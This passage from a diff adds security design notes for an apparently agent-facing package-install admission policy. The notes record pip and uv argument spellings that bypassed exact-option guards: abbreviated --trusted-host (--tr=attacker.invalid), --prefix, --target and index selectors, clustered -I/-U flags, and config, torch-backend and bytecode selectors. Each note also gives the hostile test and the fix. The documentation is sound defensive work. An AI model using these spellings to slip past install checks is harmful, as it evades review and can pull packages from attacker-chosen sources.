prefix selecting `--prefix`. + +Before this repair, an otherwise approved `pip install` or `pip3 install` carrying attached `--prefi=/tmp/wardnet-pip-prefix` remained `Allow`. The token begins with `-`, so positional artifact-cardinality checks did not independently reject the alternate install-root authority. + +Wardnet owns only structured argv admission, stable reason codes, policy evidence, and SOC accountability for this decision. It does not create, resolve, mount, inspect, clean, or otherwise govern the effective destination. Filesystem/workspace/mount isolation and cleanup remain `quarantine-sandbox-runtime` authority. + +## Test-first evidence + +Exact test-only RED head `d4639c9b77a458b244241ebc78dedb22c13fdd74` executed in CI run `34649961884`, job `103429556651`. Checkout, Rust toolchain setup, and `cargo fmt --check` passed. `cargo test --locked --workspace` then failed at `pypi_prefix_abbreviation_authority_contract` because `pip --prefi=...` returned `Allow` where the contract required `Block`. The exact approved baseline remained admissible before the hostile argument was added. + +The earlier head `66d015297ffddcfadd904ac57b164c19233491a4` failed only `cargo fmt --check` and is not semantic RED evidence. + +## Minimum causal repair + +The direct-pip install-root abbreviation classifier is extended only to the pinned parser-supported `--prefix` language from `--prefi` through canonical `--prefix`, while retaining the existing `--target` language. `--pref`, `--prefer-binary`, superstrings, and non-long-option spellings remain outside the prefix matcher. The behavior is not generalized to uv or other package managers. + +The hostile contract exercises both `pip` and `pip3`, requires stable `alternate_install_root` evidence for accepted `--prefi=...`, and preserves the ambiguous `--pref=...` precision control. No pip subprocess or filesystem mutation is executed by the test. + +Exact-head GREEN is intentionally not inferred from source inspection or predecessor runs. The implementation may integrate only after its unchanged exact head completes the repository-required CI/Fuzz and fresh review/thread acceptance. + +## Decision record + +- **Constraint:** preserve the reviewed package coordinate while denying caller-selected install-root authority. +- **Rejected:** treating every `--pref*` token as `--prefix`; this would invent semantics for the ambiguous `--pref` spelling. +- **Rejected:** copying Python `optparse` abbreviation behavior into a generic package-manager parser; that would exceed the pinned direct-pip authority surface. +- **Selected:** a bounded direct-pip matcher for the two verified install-root long-option families. +- **Risk:** upstream pip may change its option surface, changing abbreviation uniqueness. The matcher therefore remains pinned-source evidence and must be reverified when the authoritative pip parser pin changes. + +## TRACEABILITY + +Python Packaging Authority. (2026). *pip install command* (source pin `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `--prefix ` selects an installation prefix. + +Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. Unambiguous long-option prefixes are accepted as abbreviations. + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). PW.8. + +MITRE. (2025). *CWE-15: External Control of System or Configuration Setting*. diff --git a/docs/doctoring/pypi-registry-authority.md b/docs/doctoring/pypi-registry-authority.md new file mode 100644 index 00000000..3d891273 --- /dev/null +++ b/docs/doctoring/pypi-registry-authority.md @@ -0,0 +1,37 @@ +# PyPI registry authority traceability + +Verified 2026-09-11. This note narrows one Agent Artifact Admission invariant: a reviewed Python artifact coordinate includes its HTTPS registry, so submitted installer arguments may not disable, replace, or add package-source authority outside that reviewed coordinate. It does not extend Wardnet into runtime environment inspection, network transport authorization, package retrieval, installation, or sandbox execution. + +## Decision trace + +The admission model rejects caller-selected `--index-url`, `--extra-index-url`, `--index`, `--default-index`, `--find-links`, and `--no-index` controls. pip documents that `--index-url` selects the base package index, `--extra-index-url` adds package indexes, `--find-links` adds candidate locations, and `--no-index` disables index lookup. Its current documentation also warns that `--extra-index-url` can create dependency-confusion exposure because candidate selection spans multiple locations. + +The remaining gap was pip's parser grammar rather than a missing option name. pip's current CLI architecture uses `ConfigOptionParser`, whose parent is Python `optparse.OptionParser`. The live pip CLI accepts unambiguous long-option prefixes such as `--index-u=...`, `--extra-index-u=...`, and `--find-l=...`. Wardnet's generic option matcher deliberately recognizes exact long names because npm-family, uv, Cargo, and OCI clients do not share pip's parser grammar. Consequently, a caller could pair an otherwise approved `name==version` coordinate with an abbreviated pip source selector and bypass the submitted-intent source-authority check. + +Wardnet now handles that grammar only inside the PyPI registry-authority policy. For direct `pip install` and `pip3 install`, the policy classifies accepted prefixes of `--index-url`, `--extra-index-url`, `--find-links`, and `--no-index` as the same `alternate_trust_root` authority as their full spellings. uv retains its exact-option path. This keeps the repair causal and avoids broadening generic argv semantics for unrelated installers. + +The execution boundary remains unchanged. `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, `PIP_FIND_LINKS`, `PIP_NO_INDEX`, project/user configuration files, cache contents, filesystem state, and other effective runtime environment/configuration are not inspected by Wardnet. `quarantine-sandbox-runtime` remains the canonical owner of hostile execution/isolation and effective runtime environment/config authority; EgressWeave remains the canonical executable outbound-transport authority. Wardnet evaluates only the structured submitted intent and emits admission policy/evidence. + +## Evidence + +- Earlier hosted hostile RED `205567a0eb18069c7c72c6b2387107aab96db948`: `pypi_install_cannot_disable_reviewed_registry_index` observed `Allow` for a reviewed exact PyPI coordinate whose argv added full `--no-index`; the original minimum repair classified explicit `--no-index` as `alternate_trust_root`. +- Current hostile RED `e6c46585d04f7fdf595fcf438b793d1de06abc59`, CI run `34602358631`, job `103272504094`: checkout and formatting succeeded, then the exact admission contract failed because abbreviated pip source selectors were still admitted. +- Minimum causal repair `edefb8eff1473223cf1ec56f16da84bbb2881012`: `pypi_registry_authority` adds pip/pip3-only accepted-prefix classification while leaving uv and all other executable grammars on their existing exact-option paths. +- Exact repair GREEN: CI run `34602771562`, job `103273850396` completed SUCCESS on `edefb8eff1473223cf1ec56f16da84bbb2881012`; formatting, locked workspace tests, and Clippy all passed. +- The contract covers full and abbreviated source selectors without reading environment variables, executing a package manager, fetching artifacts, authorizing egress, or duplicating quarantine/EgressWeave responsibilities. + +## Primary-source basis + +pip's current install documentation states that candidate discovery can use the configured base index, extra indexes, local filesystem, and `--find-links`, and warns that `--extra-index-url` is unsafe for private-package discovery because of dependency confusion. pip's current source tree defines these index/find-links options in `cmdoptions.py`. Its CLI architecture documents `ConfigOptionParser` as an `optparse.OptionParser` descendant, which is the parser behavior reproduced by the hostile contract. + +The security implication is bounded: the defect concerns submitted command authority, not whether a remote source is trustworthy after transport or whether retrieved bytes match the reviewed digest. Those latter controls remain with their canonical execution/transport/artifact-verification owners. + +## APA 7 references + +Python Packaging Authority. (2026). *pip install: pip documentation v26.3.dev0*. Retrieved September 11, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Packaging Authority. (2026). *Command line interface architecture* [Source documentation, revision `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`]. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/docs/html/development/architecture/command-line-interface.rst + +Python Packaging Authority. (2026). *pip CLI option definitions* [Source code, revision `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`]. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py + +Python Software Foundation. (2026). *optparse — Parser for command line options* (Python 3.14.6 documentation). https://docs.python.org/3.14/library/optparse.html diff --git a/docs/doctoring/pypi-requires-python-authority.md b/docs/doctoring/pypi-requires-python-authority.md new file mode 100644 index 00000000..41a4edc2 --- /dev/null +++ b/docs/doctoring/pypi-requires-python-authority.md @@ -0,0 +1,51 @@ +# PyPI Requires-Python compatibility authority + +## Decision + +Wardnet Agent Artifact Admission rejects a direct `pip` or `pip3 install` intent that adds canonical `--ignore-requires-python`. The reviewed artifact receipt authorizes the exact package coordinate and installer intent; it does not authorize the caller to disable publisher-declared Python compatibility enforcement while retaining the same admission identity. + +The classifier is deliberately syntactic and bounded to supported direct pip installs. Wardnet does not inspect the effective interpreter, resolve package metadata, execute pip, select another Python runtime, or decide whether the package would actually run in the target environment. + +## Problem and threat + +At exact upstream `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines canonical `--ignore-requires-python` as a Boolean install option whose documented behavior is `Ignore the Requires-Python information`. `InstallCommand.run` forwards `options.ignore_requires_python` to resolver construction, so the option changes how pip treats the distribution metadata compatibility requirement. + +Python Core Metadata defines `Requires-Python` as the distribution field that declares the Python version requirement. An otherwise reviewed request can therefore preserve the approved ecosystem, name, version, registry, owner, hash, manifest and hash/dependency safety flags while explicitly asking the installer to disregard a publisher compatibility constraint. + +Before this repair, Wardnet had no dedicated classifier for that selector. Because the option starts with `-`, the existing positional artifact checks did not make the explicit compatibility override causal to a denial. + +## Executed RED + +Test-only exact `3ae6fcddc633053729673713853835e9f64c1a1b` is based on canonical Agent Artifact Admission parent `#129@22c50d886d9e2ed8f5c376bacff8ec1f8a0d5b6c`; production source is byte-identical to the parent. + +Hosted CI run `34636878079`, rust job `103386810988`, acquired a GitHub-hosted Ubuntu 24.04 runner and completed checkout, pinned Rust toolchain and `cargo fmt --check`. The workspace test step then reached the new hostile contract and failed because the direct-pip request containing `--ignore-requires-python` returned `Allow` where the contract requires `Block`. The exact approved control remains required to return `Allow`, making the failure causal to the added compatibility override rather than bootstrap, formatting, artifact-cardinality or command-path noise. + +## Minimum causal repair + +The repair adds one crate-private direct-pip classifier and maps the canonical selector to the existing stable `missing_safety_flag` reason. It preserves the other package-manager grammars independently and introduces no interpreter discovery, package resolution or runtime mutation. + +This slice recognizes only the canonical exact spelling. Pip long-option abbreviation behavior is not inferred here: expanding the accepted spelling family requires separate verification against the pinned parser and complete contemporaneous option set rather than broad prefix matching. + +## Ownership boundary + +Wardnet owns the pre-execution policy decision that a reviewed install intent cannot silently expand into a request to disable package-manager compatibility protection. `quarantine-sandbox-runtime` remains canonical owner of effective runtime filesystem, mount, privilege, resource, interpreter and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound network authorization. AppGuardrail remains canonical owner of static package/security analysis. + +Accordingly, Wardnet rejects the explicit selector but does not assert that a particular package is compatible or incompatible, does not select or install an interpreter, and does not turn package metadata into runtime authority. + +## Alternatives considered + +Allowing the override and relying only on runtime isolation was rejected because the admission receipt would still authorize installer semantics absent from the reviewed intent. Inferring compatibility by inspecting the local interpreter or downloaded distribution was rejected because it would duplicate executor/package-analysis authority and make an ambient runtime state part of a deterministic admission decision. Broad matching of abbreviated long options was rejected in this slice because the accepted abbreviation language depends on pip's complete parser option set and therefore requires its own pinned-parser proof. + +## Verification contract + +Exact approved direct `pip` and `pip3` installs with the reviewed artifact, `--require-hashes`, `--no-deps` and `--no-input` remain `Allow`. Adding canonical `--ignore-requires-python` must return `Block` with exactly `missing_safety_flag`. A suffix such as `--ignore-requires-python-extra`, the same token under `uv pip install`, and non-install direct pip commands do not match this classifier. + +Every source or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current formatting, locked workspace tests, strict Clippy, Fuzz, fresh review/thread inventory and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. Issue #331 remains open until the effective delta reaches protected `main` or a verified complete successor. + +## Traceability + +- Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `src/pip/_internal/cli/cmdoptions.py` defines `--ignore-requires-python`; `src/pip/_internal/commands/install.py` forwards the option to resolver construction. GitHub. +- Python Packaging Authority. (2026). *Core Metadata Specifications: Requires-Python*. Python Packaging User Guide. The field declares the Python version requirement for a distribution. +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- MITRE. (2025). *CWE-693: Protection Mechanism Failure*. Common Weakness Enumeration. +- Wardnet issue #331 and Draft PR #332 retain the hostile RED, causal repair, exact-current verification and protected-main adoption criteria. diff --git a/docs/doctoring/pypi-target-install-root-abbreviation-authority.md b/docs/doctoring/pypi-target-install-root-abbreviation-authority.md new file mode 100644 index 00000000..104f995e --- /dev/null +++ b/docs/doctoring/pypi-target-install-root-abbreviation-authority.md @@ -0,0 +1,47 @@ +# PyPI target install-root abbreviation authority + +## Decision + +Wardnet Agent Artifact Admission rejects direct `pip` and `pip3 install` intents that select pip's `--target` destination through the pinned parser's verified unambiguous long-option prefix language from `--ta` through canonical `--target`. + +Wardnet classifies only the caller-selected argv authority. It does not create, inspect, mount, validate, clean, or otherwise own the effective destination path. Filesystem, mount, workspace-isolation, cleanup, and recovery remain canonical `quarantine-sandbox-runtime` responsibilities. + +## Problem and threat + +The reviewed artifact receipt binds an approved package coordinate and bounded installer intent. Pip's `--target ` changes where installed package material is written. The existing Wardnet install-root policy already rejects canonical `--target` and short `-t`, but its generic cross-package-manager flag matcher intentionally uses exact option spelling. + +Pinned direct pip uses Python `optparse` long-option abbreviation semantics. On the reviewed parser surface `--ta` uniquely identifies `--target`, while the shorter `--t` prefix is ambiguous and is not claimed. An attached argument such as `--ta=/tmp/wardnet-pip-target` therefore carries real alternate-install-root authority while bypassing the exact-spelling guard. Because the attached token begins with `-`, the positional artifact scan does not independently reject it as an extra artifact operand. + +## Executed hostile RED + +Test-only exact `6c494569e58cb41bab8b2d554def59c5258f278b` was based on canonical Agent Artifact Admission parent `#129@6538faf2d60d64335f910b7770276ad32717aac7`; production policy bytes were unchanged. + +Hosted CI run `34644738040`, rust job `103412682854`, acquired a GitHub-hosted Ubuntu 24.04 runner, completed checkout, toolchain setup, and `cargo fmt --check`, then ran the locked workspace tests. `pypi_target_abbreviation_authority_contract` failed on direct `pip install ... --ta=/tmp/wardnet-pip-target`: Wardnet returned `Allow` where the contract requires `Block`. The exact reviewed direct-pip positive control passed before the hostile selector was added. The contract also retains `--t=...` as a negative precision control so Wardnet does not invent ambiguous pip parser semantics. + +An earlier test-only commit `faa98040b223393c75901fe77c086c1af6bcc6bb` failed only `cargo fmt --check` and is not semantic RED. Formatter-only successor `6c494569e58cb41bab8b2d554def59c5258f278b` is the causal RED authority. + +## Minimum causal repair + +The production repair adds one direct-pip-only classifier for the verified `--target` long-option language. It requires exact `pip` or `pip3`, exact `install`, strips only an attached `=` value for option-name comparison, and matches only option names whose length is at least `--ta` and that are prefixes of canonical `--target`. + +The matcher therefore accepts `--ta`, `--tar`, `--targ`, `--targe`, and `--target`; it excludes ambiguous `--t`, superstrings such as `--targeted`, unrelated `--timeout`, and short-option `-t` grammar already owned by the existing generic install-root guard. A match adds stable `alternate_install_root` evidence and blocks the intent. + +The repair does not execute pip, parse ambient configuration, perform filesystem I/O, resolve paths, or import pip abbreviation semantics into uv or other package managers. + +## Alternatives considered + +Broadening the generic cross-manager flag matcher to accept arbitrary prefixes was rejected because pip's `optparse` grammar is not a universal package-manager contract and would create false authority claims for uv, npm, pnpm, Cargo, and OCI clients. Treating every `--t*` token as target was rejected because the pinned pip option surface makes shorter prefixes ambiguous. Deferring the decision to quarantine cleanup was rejected because the admission receipt would still authorize caller-selected installer destination semantics that were absent from the reviewed intent. + +## Verification and integration contract + +The exact approved direct `pip` and `pip3` installs must remain `Allow`. Attached `--ta=/tmp/wardnet-pip-target` must return `Block` with `alternate_install_root`; ambiguous `--t=/tmp/wardnet-pip-target` must not be reinterpreted as target by this classifier. Existing canonical `--target` / `-t` controls and the separate-value evidence repair from #318 must remain unchanged. + +Every source or doctoring movement invalidates predecessor GREEN evidence. The serialized child requires exact-current Wardnet CI/Fuzz plus fresh review/thread inventory before ordinary expected-head integration into still-exact #129. After integration, canonical #129 must reacquire its own exact-current repository and default-branch security gates before protected-main consideration. Issue #337 remains open until this effective delta reaches protected `main` or a verified complete successor. + +## Traceability + +- Python Packaging Authority. (2026). *pip install command*, commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`. `--target ` installs packages into the supplied directory. +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Unambiguous long-option prefixes are accepted as abbreviations. +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- MITRE. (2025). *CWE-15: External Control of System or Configuration Setting*. Common Weakness Enumeration. +- Wardnet issue #337 and Draft PR #338 retain the exact parser finding, hostile RED, repair lineage, and integration evidence. diff --git a/docs/doctoring/pypi-trusted-host-authority.md b/docs/doctoring/pypi-trusted-host-authority.md new file mode 100644 index 00000000..5211e085 --- /dev/null +++ b/docs/doctoring/pypi-trusted-host-authority.md @@ -0,0 +1,46 @@ +# Direct pip trusted-host abbreviation authority + +## Problem and boundary + +Wardnet's Agent Artifact Admission is a pre-execution policy and evidence boundary. It must reject caller-selected package trust authority that is not represented by the reviewed artifact policy. It does not perform TLS, package retrieval, egress authorization, installation, isolation, or activation; those remain with their canonical runtime/transport owners. + +Direct `pip`/`pip3` uses Python's optparse-compatible long-option grammar. The canonical `--trusted-host` option is already denied by Wardnet's generic exact trust-root guard, but the parser also accepts unambiguous prefixes. A hostile otherwise-approved intent using attached `--tr=attacker.invalid` therefore exercised the same pip trust control without matching the exact Wardnet flag. + +## Exact RED evidence + +Test-only commit `40eab9ac1e919fb4411a7d05f574371ed7b80a29`, based on exact #129 head `25366eb291b783cd211bb76b8eadd8e853d722d1`, added `pypi_trusted_host_authority_contract.rs` and no production change. Hosted CI run `34630752242`, job `103366710451`, completed checkout and formatting successfully and then failed in `cargo test --locked --workspace`. The parent head had terminal GREEN CI, so the isolated hostile contract is the causal delta. + +The executable pip parser independently accepts `--tr=attacker.invalid`; `--t=attacker.invalid` remains ambiguous because it can prefix other pip options. Wardnet therefore must not guess shorter prefixes. + +## Decision + +Extend only Wardnet's direct-pip registry/source trust classifier. For `pip` and `pip3` direct install intents, classify verified prefixes from `--tr` through the character before the full `--trusted-host` spelling as `AlternateTrustRoot`. Leave the canonical full spelling under the existing generic exact-option guard. Keep uv and other package managers out of this parser-specific overlay. + +Rejected alternatives: + +- Blocking every `--t*` token would invent parser behavior and reject valid or ambiguous pip options without evidence. +- Implementing TLS validation or outbound transport enforcement in Wardnet would duplicate EgressWeave/runtime ownership. +- Treating any option prefix as equivalent across installers would violate each tool's actual command grammar. + +## Security effect and residual risk + +The repair closes an admission-evidence bypass in which a caller could select pip's trusted-host policy while inheriting an approved artifact decision. It does not claim that Wardnet validates server certificates or enforces network transport. Future pip parser changes remain a compatibility risk; parser-significant options require RED contracts before expanding the accepted/forbidden grammar. + +## Traceability + +- NIST SSDF: verify software requirements and design against security requirements, then use executable tests to prevent recurrence of a discovered weakness. +- CWE-295: weakening or bypassing certificate/peer validation can permit an attacker-controlled endpoint to be trusted. +- Python `optparse`: long options may be abbreviated when the supplied prefix is unambiguous. +- pip: `--trusted-host ` explicitly marks a host trusted even when it does not have valid or any HTTPS. + +## References (APA 7th) + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +Python Packaging Authority. (n.d.). *pip install*. pip documentation. Retrieved September 12, 2026, from https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Packaging Authority. (n.d.). *General options*. pip documentation. Retrieved September 12, 2026, from https://pip.pypa.io/en/stable/cli/pip/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Python documentation. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html + +MITRE. (n.d.). *CWE-295: Improper certificate validation*. Common Weakness Enumeration. Retrieved September 12, 2026, from https://cwe.mitre.org/data/definitions/295.html diff --git a/docs/doctoring/pypi-upgrade-mutation-authority.md b/docs/doctoring/pypi-upgrade-mutation-authority.md new file mode 100644 index 00000000..eafd3cde --- /dev/null +++ b/docs/doctoring/pypi-upgrade-mutation-authority.md @@ -0,0 +1,47 @@ +# PyPI install mutation authority + +Verified 2026-09-12 against pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for direct `pip` / `pip3` mutation semantics. Wardnet classifies pre-execution intent only; it does not execute pip, resolve versions, inspect or mutate the effective Python environment, or own filesystem/session isolation. + +## Problem + +A reviewed PyPI artifact coordinate authorizes one exact package identity. pip's install command separately defines `-I` / `--ignore-installed` as authority to ignore an existing installation and `-U` / `--upgrade` as authority to upgrade specified packages. Those selectors can therefore request mutation outside the reviewed artifact identity. + +Wardnet already rejected the documented long forms and exact short forms, but direct pip uses `ConfigOptionParser`, derived from Python `optparse.OptionParser`. For short options that do not take a value, the parser processes the remaining characters in the same token as additional short options. Pip's `-v`, `-q`, `-I`, and `-U` are no-value options, so mutation-bearing forms such as `-Ivv`, `-vI`, `-qI`, `-Uv`, `-vU`, `-IU`, and `-UI` are parser-valid. The previous exact-form classifier therefore allowed parser-equivalent mutation authority through alternate argv spellings. + +Value-taking short options are a different grammar. `optparse` consumes the remainder of the token as the option value when the current short option takes a value. Wardnet must therefore not invent embedded `I` or `U` semantics for tokens such as `-iI`, `-rI`, or `-tI`. + +## Boundary and decision + +The existing `pypi_install_mutation_authority` module remains the single Wardnet classifier for this bounded concern. The repair recognizes only one reviewed direct-pip short-cluster language: + +- every character after the leading `-` must be one of the reviewed no-value options `v`, `q`, `I`, or `U`; +- ignore-installed authority is present only when that bounded cluster contains `I`; +- upgrade authority is present only when that bounded cluster contains `U`; +- exact and clustered `I`/`U` combinations therefore fail closed as `artifact_not_approved` without conflating the two semantic predicates; +- value-taking or unknown short-option characters make the cluster classifier return false rather than guessing parser behavior; +- existing long-option behavior for unambiguous `--ignore-i` through `--ignore-installed`, `--force-reinstall`, and exact `--upgrade` is preserved; +- `--upgrade-strategy`, guessed ambiguous long prefixes, lowercase `-u`, unrelated options, and artifact operands do not inherit upgrade semantics. + +The rule does not authorize or implement installation, package selection, interpreter-environment mutation, target-directory mutation, rollback, quarantine, egress policy, or sandbox behavior. Those concerns remain with their canonical owners and downstream execution boundary. + +## RED → repair evidence + +The earlier exact-form upgrade repair is preserved by lineage: test-only head `39f25a6d6e2416ecb0fd106d25b6503a74f2d1ff` produced hosted semantic RED in CI `34654851862` / job `103444903328` because `pip -U` was allowed, and production commit `c6308e69eb164395709a21ee8b16387068484aa3` repaired exact `-U` / `--upgrade` handling. + +The clustered-option finding is tracked by Wardnet issue #343 and Draft child #344. Test-only head `12b5f1f45a773c080d60910f84480160745a2d46` produced the first hosted semantic RED in CI `34657138688` / job `103451886561`: checkout, toolchain setup and formatting passed, then the hostile `pip -Ivv` contract returned `Allow` instead of required `Block`. + +A separate production-unchanged head `c59272398d2cdcfe0f16d35ae4efe674a6e3d1d2` exposed the upgrade side directly at the classifier boundary. Hosted CI `34658434263` / job `103455722023` acquired Ubuntu 24.04, passed checkout, stable Rust setup, and `cargo fmt --check`, compiled the workspace, passed the root/runtime suites, and then failed exactly in `pypi_install_mutation_authority::tests::direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors` because `-Uv` was not classified. This is the required second semantic RED, not runner or bootstrap noise. + +Minimum production repair commit `56f0c7791d159b1bca3752fa836a5aa5ddf3a8c9` replaces special-cased direct-pip short forms with one bounded no-value short-cluster classifier and adds precision tests for mutation-bearing clusters, value-taking spellings, malformed clusters, lowercase `-u`, long-option near-misses, and unrelated operands. Exact-current repository CI/fuzz remains a merge requirement after every subsequent evidence/documentation commit; predecessor conclusions are not promoted to a moved head. + +## Primary-source trace + +At pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` registers `-I` / `--ignore-installed` and `-U` / `--upgrade` as Boolean install options and separately registers `--upgrade-strategy`. Pip's parser configuration is built on its `ConfigOptionParser`, which derives from Python `optparse.OptionParser`; `optparse` short-option processing iterates a short cluster until it encounters an option that takes a value, at which point the remaining token becomes that value. This is the parser distinction encoded by Wardnet's bounded classifier. + +## APA 7 references + +Python Packaging Authority. (2026). *pip install command* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`) [Source code]. GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/commands/install.py + +Python Software Foundation. (2026). *optparse—Parser for command line options*. Python documentation. https://docs.python.org/3/library/optparse.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 diff --git a/docs/doctoring/uv-bytecode-compilation-authority.md b/docs/doctoring/uv-bytecode-compilation-authority.md new file mode 100644 index 00000000..4d7ccc3a --- /dev/null +++ b/docs/doctoring/uv-bytecode-compilation-authority.md @@ -0,0 +1,31 @@ +# uv bytecode-compilation authority trace + +Verified 2026-09-13. This note extends the Agent Artifact Admission research trace for one bounded policy decision. It does not grant `uv run` execution authority and does not transfer runtime ownership into Wardnet. + +## Decision + +Astral documents top-level uv usage as `uv [OPTIONS] ` and documents `--color` as a top-level output option. Astral also documents `--compile-bytecode` (alias `--compile`) as caller-selected bytecode materialization. For install operations such as `uv pip install`, uv compiles installed or reinstalled Python files. For sync operations such as `uv sync` and `uv run`, uv states that the option processes the entire `site-packages` directory, including packages that are not otherwise being modified by the operation. The resulting `.pyc` state therefore is not represented by the reviewed package artifact coordinate alone. + +Wardnet records that authority as `ReasonCode::ArtifactNotApproved`. Existing supported `uv pip install` command eligibility is unchanged. A reviewed uv global option may precede the active `pip install` command without erasing the separate bytecode-materialization reason, even though that globally prefixed argv can remain outside Wardnet's supported install grammar and therefore also retain `ReasonCode::ForbiddenCommand`. Unsupported `uv run` remains blocked by `ForbiddenCommand`; when the exact compile selector is owned by uv before the delegated child-command boundary, the decision additionally records `ArtifactNotApproved`. A compile-looking token after the delegated child begins, after the `uv run --` boundary, on a non-install `uv pip` command, or with a nearby spelling such as `--compile-bytecodex` does not inherit uv bytecode semantics. + +The parser reuses the shared `uv_active_command_index` command-phase helper to identify the active top-level command after reviewed global options. Exact active `pip install` is inspected only from its install argument slice. `uv_run_owned_argument_end` remains the delegation boundary for `uv run`. This keeps one command-phase model instead of introducing a second interpretation of uv argv. `supported_install_command` is deliberately unchanged, and exact submitted argv remains the audit identity through `command_sha256`. + +## Ownership boundary + +Wardnet owns pre-execution admission policy and causal security evidence only. It does not execute uv, compile Python bytecode, enumerate or mutate `site-packages`, select an interpreter, or provide filesystem/session isolation. Those effective-execution controls remain with the canonical runtime and transport owners (`quarantine-sandbox-runtime`, EgressWeave, and their released contracts). AppGuardrail remains the static package/security-analysis owner; contextual-orchestrator remains the Agent/LLM orchestration owner. + +## RED/GREEN evidence contract + +Issue #393 and Draft PR #394 established the first executable regression for uv-owned `uv run` compile selectors and their delegated-child boundary. Their accepted RED deliberately retained the exact approved artifact argument in argv so baseline artifact mismatch could not manufacture `ArtifactNotApproved`; the repair preserved existing `uv pip install` behavior and reused the shared uv parser helpers. + +Issue #395 and serialized Draft PR #396 extend that contract to reviewed global options before active `uv pip install`. The test-only exact head `6c24a3d9d4e2f554649346fcb06222e01ff380e9` kept production source byte-identical to its parent. Hosted CI `34734372758`, rust job `103662996596`, passed checkout, toolchain, and formatting, then failed in `cargo test --locked --workspace` specifically at `uv_global_options_preserve_pip_install_bytecode_authority_evidence`: the decision contained `[ForbiddenCommand]` but omitted `ArtifactNotApproved`. Nearby-spelling and non-install controls passed. That is the semantic RED for the current repair. + +GREEN requires the same hostile and negative-control contract on one unchanged exact head, plus formatting, locked workspace tests, strict Clippy, applicable fuzz/security gates, current review/thread clearance, and ordinary expected-head integration. No queued, skipped, predecessor, synthetic, or unrelated runner result is promoted as passing evidence. + +This testing pattern follows NIST SSDF's emphasis on verifying software against security requirements and retaining evidence that supports secure-development decisions. Wardnet does not claim NIST certification or conformance from this individual control. + +## APA 7 references + +Astral Software, Inc. (2026). *Commands: uv CLI reference.* https://docs.astral.sh/uv/reference/cli/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST Special Publication 800-218).* https://doi.org/10.6028/NIST.SP.800-218 diff --git a/docs/doctoring/uv-configuration-authority.md b/docs/doctoring/uv-configuration-authority.md new file mode 100644 index 00000000..74b1d3bb --- /dev/null +++ b/docs/doctoring/uv-configuration-authority.md @@ -0,0 +1,70 @@ +# uv configuration authority + +## Problem and security boundary + +Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv` also accepts command-line and configuration selectors that can change where packages are fetched from. Astral documents the top-level grammar as `uv [OPTIONS] `, so reviewed global options can precede the active subcommand, and documents `--torch-backend` as a `uv pip` source selector for PyTorch-ecosystem packages. + +Three observable authority changes are security-significant here. First, global `--config-file ` can select caller-supplied configuration containing package-index settings. Second, `--torch-backend` causes uv to ignore configured index URLs for PyTorch-ecosystem packages and use the selected backend/index instead. Third, project-aware uv commands accept `--project ` to select the project root from which uv discovers project configuration and project-local Python/environment state. An approved package coordinate or unsupported command must therefore not lose causal security evidence merely because one of these selectors appears in a different documented parser phase. + +The selectors are security-significant independently of whether Wardnet's narrower executable grammar supports every documented global-option placement. An unsupported command must remain fail-closed, but its evidence should retain the causal configuration/source-authority reason rather than degrading to only a generic forbidden-command reason. + +This is Wardnet policy and security-evidence authority, not transport execution. Wardnet therefore classifies caller-selected configuration/source authority where the exact documented argv spelling is observable. EgressWeave remains the canonical executable outbound URL/address/DNS/peer/redirect/proxy/TLS authorization owner, while `quarantine-sandbox-runtime` remains the effective runtime environment/filesystem/process isolation owner. + +## Constraints and alternatives + +The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not widen Wardnet's supported uv execution grammar, parse or trust a selected `uv.toml` or `pyproject.toml`, inspect a selected project, copy uv configuration semantics into Wardnet, infer ambient `UV_CONFIG_FILE` or `UV_TORCH_BACKEND`, or infer that an EgressWeave transport allow would authorize a different package source. + +Astral explicitly documents that `--project` has no effect in the `uv pip` interface. Wardnet must therefore keep the existing `uv pip install --project ...` indirect-artifact-source control 